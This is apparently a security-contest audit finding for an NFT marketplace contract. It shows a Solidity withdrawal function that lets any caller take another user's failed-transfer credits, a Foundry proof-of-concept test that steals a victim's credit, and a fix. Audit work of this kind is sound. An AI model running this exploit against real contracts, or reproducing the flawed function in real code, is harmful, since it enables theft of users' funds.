Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized Withdrawal of Another User’s Failed Transfer Credits via Misused withdrawAllFailedCredits()

maybe

Root + Impact

Description

  • When the contract cannot directly send ETH to a recipient (the transfer fails), it should add the failed amount to failedTransferCredits[recipient]. Only that recipient should be allowed to withdraw their credited funds, and withdrawal should zero the recipient's credit.

  • The function withdrawAllFailedCredits(address _receiver) reads failedTransferCredits[_receiver] but sets failedTransferCredits[msg.sender] = 0 before transferring ETH to msg.sender. This allows any caller to withdraw another account’s credits and does not clear the victim’s credit entry, enabling repeated thefts until the contract runs out of ETH.

// Root cause in the codebase with @> marks to highlight the relevant section
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
// @> Zeroing the wrong address balance.
failedTransferCredits[msg.sender] = 0;
​
// @> Sending eth to msg.sender instead of _receiver.
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:** High**

  • Payouts frequently fail when recipients are contracts that do not implement receive()/fallback() or intentionally reject ETH.

  • No permission checks restrict who can call withdrawAllFailedCredits(address), so any EOAs/contracts can call it and claim someone else's credit.

Impact: High

  • Attackers can withdraw ETH that belongs to others, directly stealing funds from the marketplace.

  • Because the victim's credit is not cleared, the attacker may repeat the withdrawal multiple times until the marketplace runs out of funds.

Proof of Concept

Append the following test to BidBeastsMarketPlaceTest.t.sol and run forge test --mt test_withdrawal_poc -vv

// Buy-now overpay -> overpay credited -> attacker withdraws the credit.
function test_withdrawal_poc() public {
uint256 overpay = 0.5 ether;
uint256 bidValue = BUY_NOW_PRICE + overpay;
​
// ensure rejector contract has ETH to call placeBid
vm.deal(address(rejector), bidValue);
​
// mint and list the NFT
_mintNFT();
_listNFT();
​
// RejectEther (no payable fallback) performs buy-now and overpays
vm.prank(address(rejector));
market.placeBid{value: bidValue}(TOKEN_ID);
​
// the overpay should be credited due to failed refund
uint256 credit = market.failedTransferCredits(address(rejector));
assertEq(credit, overpay, "Overpay should be recorded as failed credit");
​
// Attacker withdraws the victim's credit via the buggy function
uint256 attackerBefore = BIDDER_2.balance;
vm.prank(BIDDER_2);
market.withdrawAllFailedCredits(address(rejector));
uint256 attackerAfter = BIDDER_2.balance;
​
// attacker gained the overpay amount
assertEq(attackerAfter, attackerBefore + overpay, "Attacker did not receive the stolen overpay");
​
// bookkeeping bug: victim's credit remains unchanged
uint256 creditStill = market.failedTransferCredits(address(rejector));
assertEq(creditStill, overpay, "Victim's credit should remain due to wrong zeroing");
}

Recommended Mitigation

Prevent users from withdrawing other accounts’ credits by removing the _receiver parameter and only allowing msg.sender to withdraw their own.

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!